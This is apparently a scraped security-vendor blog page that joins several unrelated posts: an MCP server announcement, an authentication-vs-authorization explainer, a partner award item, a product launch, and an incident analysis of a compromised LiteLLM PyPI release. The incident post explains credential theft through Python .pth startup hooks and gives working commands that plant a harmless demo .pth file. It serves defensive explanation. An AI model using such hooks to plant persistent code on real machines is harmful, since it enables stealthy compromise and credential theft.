“Generate me an executive summary of my overall security posture.
Format it in HTML/CSS/JS in a single report.html file.
Make the styling clean, modern, and professional.”

Simplified Integration

By using a standard protocol, the MCP server drastically cuts integration effort and complexity, enabling teams to use existing MCP-compatible clients for rapid, sustainable access to data in the Harness platform.

This standardization accelerates time-to-value, boosts tooling investments, and future-proofs integrations as the MCP ecosystem continues to grow. Combine nonsecurity and security data as you see fit. One of the most powerful aspects of MCP is composition.

Security teams are combining:

Auto-discovered APIs from Harness API discovery
Internally documented APIs
Business metadata
Environment and ownership data

They’re also doing this within custom AI workflows to answer questions that were previously painful or impossible with traditional tools.

Designed for Agentic AI

Traditional APIs often require rigid query construction, but the Harness WAAP MCP Server is optimized for dynamic, context-driven queries, ideal for use with LLM-based assistants and agentic workflows. Users or AI agents can ask questions like:

“What is my overall security posture in production?”
“Show me high-risk APIs handling PII with active threats.”
“Which shadow APIs exist outside our internal documentation?”
“What new threats were detected in the last 24 hours?”
“Which AI-related APIs are transmitting PHI to 3rd party AI vendors?”
“What API security anomalies occurred in the past 7 days?”

As an example, you can prompt for and interact with security data directly through Anthropic Claude via MCP:

The MCP layer translates these interactions into authenticated, structured queries against Harness’s backend security services, returning actionable insights in real time.

Secure by Design

Security is always paramount at Harness. The Harness WAAP MCP Server enforces strict authentication with a simple token-based approach. You control API key generation, rotation, and deletion. Enable your enterprise teams to confidently integrate security insights into AI workflows without compromising governance or compliance.

Get Started Today

Harness WAAP MCP Server is available immediately with your existing Harness subscription. There is no additional cost or setup required. Related technical documentation can be found here.

Current Customers: Log in to your dashboard today to start exploring your security data in AI tools.

New to the Platform? If you aren't yet protected, contact us to schedule a personalized demo.

Technical

Authentication vs Authorization: What’s the Difference and Why It Matters

Learn the difference between authentication vs authorization, why both matter for app security, and how to protect modern APIs and microservices.

Michael Isbitski

April 3, 2026

Time to read

Authentication (autnN) proves identity; authorization (authZ) controls what that identity can access. You need both. One without the other leaves gaps.
In modern apps and microservices, you typically authenticate once but authorize at every sensitive boundary: APIs, services, and individual resources.
Strong authN/authZ, plus runtime protection, give you the layered defense modern web apps and APIs actually need.

‍

Let's get something out of the way: authentication and authorization are not the same thing.

We know, we know. People swap the two terms constantly. And honestly, it's easy to see why. They both start with "auth," they both deal with security, and they often show up in the same conversations on access control. But if you build or secure software, blurring the line between authentication and authorization is how you end up with a system where everyone is logged in and everyone is an admin. Not great.

Getting this distinction right is really the starting point for securing any modern web app or API with strong access controls. Authentication proves who's calling. Authorization decides what that caller can actually touch. And if you want runtime protection that goes beyond just getting those two right (think API discovery, security testing, and real-time threat defense), that's where a platform like Harness Web Application & API Protection (WAAP) fits in.

But first, let's break this down properly.

What Is Authentication?

Authentication answers one question: "Are you who you say you are?"

That's it. It's the process of verifying that a user, service, or machine is actually who they claim to be. They present something only they should possess; you check it against something you trust. Done.

The factors you'll see in practice usually fall into three buckets:

Something you know. Passwords, PINs, challenge question answers.
Something you have. Hardware tokens, authenticator apps, SMS codes, smart cards.
Something you are. Fingerprints, facial recognition, voice recognition.

Most modern systems don't rely on just one of these. They combine them into multi-factor authentication (MFA). You've done this yourself: type in your password, then confirm with a code from your authenticator app, which is often called two-factor authentication (2FA).

Here's what a typical authentication flow looks like in a web or mobile app:

A user submits credentials on a login page.
An identity provider (IdP) or authentication server verifies those credentials.
If everything checks out, the system creates an authenticated session and issues an authentication token.
Subsequent requests include that session identifier, the authentication token, or both, depending on the implementation, to prove the user has already been authenticated.

A handy way to think about it: authentication is the front desk of a secure building checking your ID badge before you’re able to walk in.

And this doesn't just apply to end users. In a mature engineering setup, you also want strong authentication to control access to your delivery tools. If you're using Harness Continuous Integration or Harness Continuous Delivery & GitOps, that means tying in SSO and MFA so only verified identities can trigger or modify your pipelines. It's a seemingly small matter, but it prevents big headaches.

What Is Authorization?

Authorization answers a different question entirely: "What are you allowed to do?"

Someone can be fully authenticated — you know exactly who they are — and still be blocked from certain actions. That's authorization doing its job.

There are a few common models for expressing authorization:

Discretionary Access Control (DAC). The resource owner decides who gets access. Think file sharing permissions.
Role-Based Access Control (RBAC). Permissions get grouped into roles like "viewer," "editor," or "admin." You assign users roles rather than giving them raw permissions one by one.
Attribute-Based Access Control (ABAC). Access decisions factor in attributes — department, region, environment, risk score, time of day. More flexible, but more complex.

Some quick examples of authorization in the real world:

A regular user can view their own profile but can't edit someone else's.
A team member can see project data, but only the project owner can delete the project.
An internal service can read from a database but can never write to certain tables.

If authentication is the front desk checking your ID, authorization is the badge reader on each door deciding which rooms your badge actually opens.

You see this play out in any mature platform. Fine-grained RBAC and policy controls determine who can deploy, who can approve changes, and who can modify infrastructure or experiment with configurations. It's not enough to know who someone is; you need to control what they can do.

Authentication vs Authorization: Key Differences at a Glance

Here's a quick comparison table you can bookmark and come back to.

Aspect	Authentication	Authorization
Core question	Who are you?	What are you allowed to do?
Purpose	Verify identity	Control access and actions
Happens when	At login or initial connection	After authentication, on every access decision
Basis for decision	Credentials or identity factors	Policies, roles, attributes, permissions
Data involved	Usernames, passwords, keys, tokens, certificates	Roles, scopes, permissions, resource rules
Visible to user?	Usually, yes: login prompts, MFA challenges	Often invisible: access is allowed or denied behind the scenes
Granularity	Identity level (user, service, device)	Resource and action level (what, where, how)
Example question	"Is this really Alice?"	"Can Alice edit this invoice?"
Typical components	Identity provider, login form, MFA provider	Policy engine, ACLs, RBAC/ABAC rules, permission checks
Failure result	Cannot log in or start a session	Logged in, but specific operations or resources are denied

The short version: authentication proves identity, authorization limits power.

How Authentication Works in Modern Applications

Password-based login. The classic username-and-password combo, usually augmented with MFA these days.

Single Sign-On (SSO). You authenticate once against an IdP, then use multiple apps without logging in again. Typically powered by SAML or OpenID Connect. If you've ever clicked "Sign in with Google" at work and had five different tools just... work, that's SSO.

Passwordless authentication. Magic links, WebAuthn, hardware keys, or biometrics. The whole idea is to reduce your dependence on passwords, which — let's be honest — people are terrible at managing.

A few protocols and standards worth knowing:

OAuth 2.0. A framework for delegated access. Often paired with OpenID Connect for authentication.
OpenID Connect (OIDC). Sits on top of OAuth 2.0 and defines how to authenticate users and issue ID tokens.
SAML 2.0. The XML-based standard you'll see all over enterprise SSO setups.

A typical OIDC-based flow looks like this:

Your application redirects the user to the IdP login page.
The user authenticates with credentials (and possibly MFA).
The IdP issues an ID token (who the user is) and often an access token (for API calls).
Your application validates the token and starts an authenticated session.

But here's the thing people forget: once someone is authenticated, they still need authorization checks for every specific action they try to take. That's the next layer.

And as you automate more of your software delivery lifecycle with tools like Harness CI/CD and Harness Feature Management & Experimentation, enforcing strong authentication for deploys, rollouts, and feature flag operations becomes part of your security posture — not something you bolt on later.

How Authorization Works in Modern Applications

After authentication establishes identity, authorization decides what that identity is actually allowed to do. This is where the real granularity lives.

The key building blocks:

Roles and permissions. Roles like "user," "manager," "admin," "billing," "support." Permissions like "read:projects," "update:billing," "delete:users." You map permissions to roles, and roles to identities. Usually, this is synonymous with permissioning data and functionality so that people can access them, but in the age of AI, identities are increasingly machines.

Policies. Conditional rules, for instance: "Allow role = manager to approve expenses up to $10,000" or "Deny write access to production logs for everyone except SREs." This is where things get interesting.

Scopes. Common in OAuth flows: strings like read:user or write:orders that get granted to clients or tokens.

Here's a practical example. Imagine a project management SaaS:

Members can create and edit tasks within their own projects.
Project owners can invite users and manage project-level permissions.
Organization admins can configure billing and company-wide settings.

In code, authorization checks can live in several places:

API gateways (route level)
Middleware (request pipeline)
Business logic (right before executing an operation),
External policy engines (dedicated decision services your app queries).

The best practice? Keep these rules streamlined, centralized, and auditable. If access rules are scattered across dozens of gateways, controllers, and routing services, you’ll struggle to track what's actually enforced.

Common Pitfalls When You Mix Up Authentication and Authorization

Confusing authentication and authorization isn't just a terminology slip. It's a security problem that shows up in real systems all the time.

Here are the mistakes we see most often:

"If you're logged in, you can do everything." The system treats authentication as the only gate. The result? Every authenticated user basically has admin access. This is more common than you'd think, especially in internal tools that start as quick prototypes and never get proper authorization layers.
Authorization checks only in the UI. The buttons are hidden from certain users, but the underlying APIs don't enforce the same rules. Anyone with network access and a bit of curiosity (or a tool like Postman) can call privileged endpoints directly.
Permissions scattered across the codebase with no central view. Developers copy-paste authorization checks into controllers, services, and frontends. Over time, it becomes impossible to understand who can actually do what in the system.
Over-trusting third-party auth. Teams assume that because SSO or social login is in place, authorization is "handled." But authentication-as-a-service doesn't mean authorization is solved. They're separate problems.

The fix is straightforward in concept: treat authentication and authorization as separate, layered concerns; each with their own design, tooling, and governance. Strong identity and access control at the application and platform level, combined with runtime defense from something like Harness WAAP, gives you visibility, prevention, and protection to mitigate threats that inevitably arise.

Authentication vs Authorization in Cloud and Microservices

In distributed cloud-native systems, the authentication vs authorization picture gets more complex. It's not just about human users anymore. It's also services, workloads, and machines, or non-human identities (NHI) talking to each other. Authentication material, often referred to as secrets, can proliferate rapidly.

Here are the patterns that matter:

API and gateway authentication. Gateways and microgateways verify tokens, certificates, or API keys. Once a request is authenticated, authorization policies determine which backend services or microservices it can actually reach.
Service-to-service identity. Microservices authenticate to each other using mutual TLS, service accounts, or workload identities. Authorization then defines which services can call which APIs, and with what HTTP methods.
Fine-grained authorization per resource. Picture a multi-tenant SaaS that authorizes every single request based on tenant, user role, resource owner, and environment (dev, staging, production). That's a lot of decisions happening very fast.

A useful mental model: Authenticate once. Authorize often. Identity gets established at the start of a request. Authorization happens at every gate where something sensitive might occur.

At this scale, you also need visibility. Harness WAAP discovers APIs (including shadow APIs and zombie APIs you didn't even know existed), understands traffic patterns, and applies API-centric protection on top of whatever access controls you already have in place. It's built for cloud-native environments, with deployment options ranging from out-of-band traffic mirroring to inline agents at the gateway level to edge-delivered protection.

Choosing the Right Authentication Strategy

A good authentication strategy balances usability, security, and operational overhead. Here's what to think about:

MFA by default for admin accounts, financial operations, and anything touching production. MFA should also be a preferred default for customer identity, particularly when controlling access to sensitive or regulated data like PHI or PII.
Single Sign-On with a central IdP for teams and enterprises. It reduces password reuse and credential fatigue so users stop creating variations of "Summer2024!" across twelve different applications.
Passwordless options where you can get away with them, such as in customer applications where lower friction and higher usability are paramount. These options cut phishing risk dramatically.
Token-based auth such as JSON Web Tokens (JWT) and opaque tokens for APIs and mobile apps, with proper expiration and rotation policies.

Some design questions worth asking early:

Who are your users? Humans, non-human identities, or both?
How critical is the data or operation they're accessing?
What regulatory or compliance requirements apply?
How will you cleanly onboard and offboard users?

On the delivery side, use strong authentication for everything that can change your production system. Production impact should never hang on a shared service account or a weak auth story.

Designing a Solid Authorization Model

Authorization design has a direct impact on how secure and maintainable your system feels day to day. Get it right early, and life is good. Get it wrong, and you'll be untangling spaghetti permissions for years.

Here's what works:

Use roles, not individual permission lists everywhere. Map your real-world responsibilities to roles, then assign permissions to those roles. It's far easier to reason about "what can an editor do?" than to track permission assignments for 500 individual users.
Add attributes when roles aren't enough. ABAC patterns shine when you need to factor in department, geography, environment, or risk signals. Not every access decision is as simple as "admin or not admin."
Enforce least privilege. Start with minimal permissions and add what's actually needed. This sounds obvious, but the default in most organizations is to hand out broad access and hope for the best.
Centralize your decision logic. Use a consistent policy engine or middleware for all authorization checks, with proper logging and audit trails.
Review regularly. Roles and policies drift over time. People change teams, projects wind down, new services spin up. Periodic reviews keep your model aligned with reality.

Platforms that bake in policy-as-code, governance, and auditability make this much more practical.

Get Authentication and Authorization Right Early

The difference between authentication and authorization is simple to describe and surprisingly easy to forget in the day-to-day rush of shipping features. Authentication proves identity. Authorization defines and enforces what that identity can do. Two separate problems, two separate layers of defense.

Designing both layers up front — with clear models, strong authentication, and auditable authorization policies — saves you from painful retrofits, compliance surprises, and security incidents down the road.

Then you protect everything you've built at runtime. For full API visibility and real-time defense of your web apps and APIs — without slowing down your engineering teams — take a closer look at Harness Web Application & API Protection (WAAP) and pair it with secure delivery powered by Harness CI/CD.

Book a demo to get started.

FAQ: Authentication vs Authorization

Why is it important to understand authentication vs authorization?

Because they solve different problems. Authentication proves identity. Authorization controls access. If you blur that line, you either block valid users from doing their work or, worse, grant excessive power to anyone who can log in.

Can you have authorization without authentication?

In any secure system, not really. You need an authenticated identity before you can make meaningful authorization decisions. There are anonymous or public access patterns, sure, but those are modeled as very limited authorization cases; not a free pass.

What are some real-world examples of authentication?

Typing a password into a login form. Using Face ID on your phone. Inserting a smart card into a corporate laptop. Scanning a fingerprint to open a secure door. Confirming a login with a one-time code from an authenticator app. If you're proving you are who you say you are, that's authentication.

What are some real-world examples of authorization?

Being able to view a dashboard but not edit system settings. Having read-only access to a database table. Being allowed to approve expenses up to a certain dollar amount. Having permission to deploy to staging but not to production. If the system is deciding what you can and can't do, that's authorization.

How do OAuth 2.0 and OpenID Connect relate to authentication vs authorization?

OAuth 2.0 started primarily as a framework for authorization — specifically, delegated access. OpenID Connect adds a standardized authentication layer on top of OAuth 2.0. In practice, many systems use them both, but they still map cleanly to the separate ideas of "who are you" (authentication) and "what can you do" (authorization).

Partners

Company News

Harness Recognized as a Customer Educator in Wiz’s WIN Partner Index 2025

Harness is recognized as a Customer Educator in the Wiz WIN Partner Index 2025, highlighting its role in advancing cloud security through integrated, scalable solutions.

Harness Team

January 29, 2026

Time to read

We’re excited to share that Harness has been recognized as a Customer Educator in the Wiz Integration Network (WIN) Partner Index 2025—a new, data-driven benchmark highlighting the integrations that deliver the most value to joint customers in modern cloud security programs.

Published by Wiz, the WIN Partner Index provides a transparent, real-world view into the integrations that are essential to modern cloud security programs, based on real-world adoption and impact. It also establishes a clear industry standard for what constitutes a high-quality, customer-centric integration .

What It Means to Be a “Customer Educator”

Harness’s recognition as a Customer Educator reflects our commitment to helping security, platform, and DevOps teams not only integrate security into their delivery pipelines—but truly understand and act on it.

As cloud security becomes increasingly distributed across tools and teams, education and shared context are essential. Harness and Wiz work together to meet teams where they build and deploy software, enabling security insights to flow directly into CI/CD pipelines and developer workflows. The result: faster remediation, better prioritization, and security that scales without slowing innovation.

“At Harness, we believe application security has to be integrated early and continuously across the SDLC, and that requires an open ecosystem. This recognition from Wiz reflects our commitment to helping security, platform, and DevOps teams not only integrate security into their delivery pipelines, but truly understand and act on it,” says Monish Advani, Senior Director of Product Management for Application Security at Harness. “In addition to the security capabilities built natively into the Harness platform, our integration with Wiz brings critical cloud security context so customers can prioritize risk, automate response, and scale security with the flexibility to build the security stack that works best for them, no matter which tools they use. Together, we are helping teams deliver software more securely.”

Building on a Strong Partnership with Wiz

This recognition builds on a growing history of collaboration between Harness and Wiz:

WINvaluable Award (2025): Harness was previously recognized by Wiz for delivering exceptional value to joint customers as part of its ecosystem of over 200 integrations.
First Certified CI/CD Platform Partner: Harness became the first CI/CD platform vendor certified to partner with Wiz, reinforcing our shared vision of embedding security early and continuously across the software delivery lifecycle.
End-to-End Security Visibility: Through Harness’s security capabilities—strengthened by our joint solution with Wiz and Traceable—customers gain deeper visibility from code to cloud, correlating risks across APIs, infrastructure, and runtime environments.

"The WIN Partner Index offers a new lens into how integrations perform where it matters most: in the hands of real teams," said Oron Noah, VP of Product, Extensibility & Partnerships at Wiz. "This inaugural report demonstrates the value Harness brings to educating customers. It's a great example of what's possible when partners align around a shared goal, building an open ecosystem where context flows freely and security becomes a team sport."

Learn More

Download the WIN Partner Index 2025 to see why Harness was recognized as a Customer Educator and explore the integrations shaping modern cloud security programs.

We’re proud to partner with Wiz—and even more excited about what this recognition means for our joint customers.

Technical

LiteLLM Compromise: Securing AI Pipelines from PyPI Supply Chain Attacks

LiteLLM PyPI was compromised in a supply chain attack, using .pth files and blockchain C2 to steal credentials and execute persistent, multi-stage malware.

Pranay Shah

Roshan Piyush

March 26, 2026

Time to read

On March 24, 2026, the AI open-source ecosystem was impacted by a critical supply chain attack involving the widely used Python package LiteLLM. Attackers compromised the LiteLLM PyPI distribution pipeline and published malicious versions (notably in the 1.82.7-1.82.8 range), embedding a multi-stage payload designed to steal credentials and execute remote code.

The malicious code executed during normal library usage, making it particularly dangerous for AI applications that integrate LiteLLM into inference pipelines, RAG systems, and API gateways. The attack leveraged Python’s .pth file mechanism, a lesser-known but powerful feature that allows arbitrary code execution during interpreter initialization. The malicious package dropped a file (e.g., litellm_init.pth) into the Python environment, ensuring that the payload was executed every time the Python interpreter started, regardless of whether LiteLLM was explicitly imported.

However, this was not a simple static backdoor. The package implemented a multi-stage execution chain, where initial execution triggered outbound communication to attacker-controlled infrastructure to retrieve further instructions dynamically.

Notably, the malware leveraged blockchain-based command-and-control (C2) and extracting payload locations from transaction metadata. This allowed attackers to update payload delivery dynamically without modifying the package itself, making detection and takedown significantly harder.

The attack also performed a cross-language execution pivot, downloading a Node.js runtime onto the host system and executing an obfuscated second-stage JavaScript payload. This technique enabled evasion of Python-focused security controls and introduced runtime behavior that would not typically be expected during dependency execution.

Once triggered, the payload attempted to exfiltrate sensitive environment variables and secrets, including API keys for major LLM providers (OpenAI, Anthropic), cloud credentials, and internal tokens.

Python .pth Files: Silent Execution Hooks at Interpreter Startup

A critical aspect of this attack is the abuse of Python’s .pth file mechanism, an often overlooked feature that can be weaponized for persistent, pre-execution code injection.

.pth files are automatically processed during Python interpreter startup via the site module. They are typically located in site-packages or user site directories and are intended to extend Python’s module search path.

However, .pth files support more than just path configuration. If a line starts with an import, it is executed immediately:

Example: Simple Demo of Hidden Code Execution

DIY: Find your site-packages path

python3 -c "import site; print(site.getsitepackages())"
# Or 
python3 -c "import site; print(site.getusersitepackages())"
#  Choose the one with write access and 
#  write a demo1.pth file to that site packages dir
echo 'import sys; print("[PTH DEMO EXECUTED]")' > /path/to/site-packages/demo1.pth

Or

Automated script to create the demo .pth file

git clone https://github.com/aspen-labs/python_pth_autoexecution.git
cd python_pth_autoexecution
python3 demo_pth.py

Now, every time Python runs,

> python3 -c "print('Hello')"
[PTH DEMO EXECUTED]
Hello

Impact:

Compromised PyPI versions of LiteLLM (primarily 1.82.x series) distributed malicious code to downstream users.
Persistent execution via .pth interpreter hijacking, enabling code execution on every Python startup without intended use of the library.
Use of decentralized C2 (blockchain) makes traditional takedown and IOC blocking less effective.
Execution of second-stage JavaScript payloads (e.g., i.js), enabling cross-language runtime pivoting and evasion of Python-focused detection controls
Exposure of sensitive credentials, including LLM API keys, cloud provider secrets, and environment variables.
High risk to AI/LLM applications, especially RAG pipelines and backend services handling user prompts and responses.
Potential lateral movement into CI/CD systems and production environments due to leaked credentials.

This attack highlights a new class of supply chain risk centered around AI infrastructure dependencies. Unlike traditional package compromises, the blast radius extends into model access, prompt data, and downstream AI workflows. It reinforces the need for continuous dependency monitoring, real-time SBOM visibility, and strict policy enforcement to prevent compromised packages from entering build and runtime environments.

How Harness Supply Chain Security Helps

Harness SCS helps you quickly detect and contain compromised dependencies like the LiteLLM package before they impact your pipelines. With real-time visibility into your SBOMs and dependency graph, you can identify affected versions, trace their usage across builds and environments, and block them using OPA policies. This ensures malicious packages never propagate through your CI/CD or AI workflows.

Detect Compromised LiteLLM Package

Harness SCS enables instant search across all repositories and artifacts to quickly identify if compromised LiteLLM versions exist in your environment. The moment such a malicious package is disclosed, you can pinpoint its presence and assess impact across your entire supply chain in seconds.

Block Compromised LiteLLM Packages

Harness AI streamlines response to incidents like the LiteLLM compromise through simple natural-language prompts. With a single prompt, you can generate OPA policies to block affected LiteLLM versions across all pipelines, preventing malicious packages from entering builds or deployments. As new compromised versions emerge, these policies can be quickly updated to maintain strong preventive controls across your SDLC. SCS customers can use this OPA policy to detect and block the affected versions

Track & Remediate Issues with Developers

Harness SCS automatically detects compromised LiteLLM versions across both production and non-production environments. Teams can track remediation, assign fixes, and monitor progress through to deployment, ensuring exposed credentials and vulnerable dependencies are addressed quickly. This end-to-end visibility helps contain the impact and prevents compromised packages from persisting in your supply chain.

Next Steps in the Face of Supply Chain Attacks

The LiteLLM compromise highlights how quickly a malicious package can expose high-value secrets when embedded deep within AI application stacks. Given its role in handling LLM requests, the impact extends beyond code to API keys, prompt data, and downstream systems, often bypassing traditional security checks.

Defending against such attacks requires more than reactive fixes. Teams need real-time visibility into dependencies, the ability to enforce policies to block compromised versions, and continuous tracking to ensure remediation is complete across all environments. Harness SCS enables teams to quickly identify where affected LiteLLM versions are used, prevent them from entering new builds, and ensure fixes are consistently rolled out.

With these controls in place, organizations can limit credential exposure, contain threats early, and secure their AI supply chain against attacks like the LiteLLM compromise.

Also, learn how Harness SCS defends against Shai-Hulud, TJ Actions, NPM 1.0, xz-utils supply chain attacks.

Technical

Introducing Radar in Harness Bot & Abuse Protection

Radar, a new threat visualization engine for Harness Bot & Abuse Protection, instantly maps complex attack sequences and speeds up incident response.

Michael Isbitski

Ayan Halder

March 25, 2026

Time to read

Visualizing the DNA of Distributed Attacks

We are thrilled to announce the launch of Radar, a major update to Harness Bot & Abuse Protection that fundamentally changes how security teams investigate and respond to sophisticated threats.

Sophisticated bot attacks are rarely isolated incidents. They are complex networks of connected identities, shared fingerprints, and coordinated behaviors. Traditional lists and tables pulled from disparate logs and event data fail to capture this reality, forcing SOC analysts to manually correlate relevant attack data—a process that costs hours when seconds matter in a potential breach.

Introducing Radar in Harness Bot & Abuse Protection

Radar changes the game for bot attack response. It is an intelligent threat visualization engine that instantly unmasks hidden relationships in bot attacks, turning the abstract "DNA" of an automated threat into a clear, interactive map.

It helps with

Speed to Verdict: What used to take hours of manual cross-referencing now takes seconds of visual inspection.
Explainable Security: Radar "white-boxes" our detection logic, giving you visual proof of why we flagged a cluster of users.
Enterprise-Grade Depth: Built to meet the rigorous demands of leading financial institutions and E-Commerce, Radar handles the complexity of high-stakes fraud investigations with ease.

Why SecOps Teams Need Threat Visualization

SOC analysts struggle to quickly respond to advanced threats and bot attacks targeting their organization’s systems. Analysis of recent breach data shows that on average organizations take roughly six months to identify the related incident. Advanced automated bot and abuse attacks, increasingly accelerated with AI, frequently go undiscovered for this time period. The harsh reality is that data relationships and system interconnects in enterprise environments are complex to unwind as automated threats play out, leaving significant incident response gaps for threat detection.

Inhibited response: Security teams spend days, weeks, or months manually cross-referencing siloed data, delaying incident response when speed is critical.
Opaque Security: Detection logic in other bot mitigation offerings is a black box, leaving SecOps teams with little insight or evidence to justify why users or clusters are flagged.
Limited Depth: Existing tools struggle to handle the complexity and scale of high-stakes fraud investigations, falling short of enterprise requirements for financial institutions and e-commerce.

Radar Key Capabilities

1. The Unified Threat Canvas

Stop investigating accounts in silos. Radar projects user connections onto an interactive graph, instantly revealing the shared threat signatures—such as IP subnets, device fingerprints, and behavioral patterns—that bind disparate accounts and activities together. You can now see the shape of the attack campaign at a glance.

‍

2. AI-Powered Context

Understanding why accounts are connected is just as important as knowing that they are connected. Radar integrates deep AI insights that analyze the cluster to provide a narrative summary of the attack. Whether it's a "distributed credential stuffing attack via a residential proxy ring" or "coordinated inventory hoarding," Harness AI explains the security context so you don't have to guess.

3. Portable Forensics

We know your investigation doesn't always end in our console. Radar features a robust export engine that packages every data point—user details, threat activities, and linkage evidence—into a comprehensive format ready for your SIEM and SOAR tools or related DFIR workflows.

‍

Get Started Today

Radar is available immediately with your existing Harness Bot & Abuse Protection subscription. There is no additional cost or setup required.

Current Customers: Log in to your dashboard today to start exploring your threat data in a whole new dimension.
New to the Platform? If you aren't yet protected, contact us to schedule a personalized demo of Radar in action.

Request a demo

Security & Compliance Blogs

Featured Blogs

Harness Named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms for the Third Consecutive Year

Why This Matters Now

Our Journey

What’s Next for Harness

Learn More

Gartner Disclaimer

The AI Visibility Problem: When Speed Outruns Security

The Question Everyone’s Asking

The AI Visibility Problem

Security Has to Move Closer to Engineering

Developers Don’t Need to Slow Down — They Need Guardrails

Seeing What Matters

GitHub Actions Supply Chain Attack: tj-actions/changed-files - Impact Assessment and Mitigation Guidance

Updates on the incident

Overview

Breaking Down the Attack

Immediate Measures to Control the Impact

How can Harness SCS help?

Integrating Harness SCS Runtime Analysis with Traceable - Coming Soon!

Conclusion

Latest Blogs

Prepare for the EU AI Act with Harness AI Security

Harness helps in the following areas of the EU AI Act

AI System Inventory

Risk Identification & Classification (Article 6)

Prohibited Use Cases (Article 5)

Data Governance & Quality (Article 10)

Technical Documentation & Auditability (Articles 11, 16)

Logging & Traceability (Article 12)

Accuracy, Robustness & Security (Article 9)

Post-Market Monitoring (Article 72)

From Commit to Approval, Without Leaving VS Code

Everything Software Delivery in One Panel

Ask Your AI. It Already Has the Context.

Install in Two Minutes

Watch it in action

Stay in VS Code. Your Pipelines Will Follow.

Shai-Hulud Miasma: Inside the Compromise of Red Hat’s Packages

Preface

Introduction

Timeline

Deep Dive Into the Miasma Compromise

Step 1: The Big Picture

Step 2: How they got in

Step 3: The clever part about "trust"

Step 4: The trap springs instantly

Step 5: Hiding the malware

Step 6: Stealing credentials

Step 7: Hiding the exfiltration as Anthropic traffic

Step 8: Spreading itself

Affected Packages

Mitigation

How Harness Supply Chain Security Helps

Detect Compromised Packages

Block Compromised Packages

Next Steps In The Face Of Supply Chain Attacks

Software Delivery Context, Now Inside Claude

What You Can Do with Claude and Harness

The Problem With Giving AI Agents Raw API Access

What the Harness + Claude Integration Changes

What This Looks Like in Practice

Debugging a failed pipeline without context switching

Promoting a deployment through governed gates

This Is Not AI Without Guardrails

Why the Claude Connectors Directory Matters

Getting Started

Anthropic’s Mythos, Glasswing, and how the industry must move forward

The Advice Is Right. The Audience Is Wrong.

The Eng & Sec Silos Have to Go

The Path Forward Is Uncomfortable — But It Starts Now

The Wave Is Already Here

Two Futures

This Is the Moment

Harness Named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms for the Third Consecutive Year

Why This Matters Now

Our Journey

What’s Next for Harness

Learn More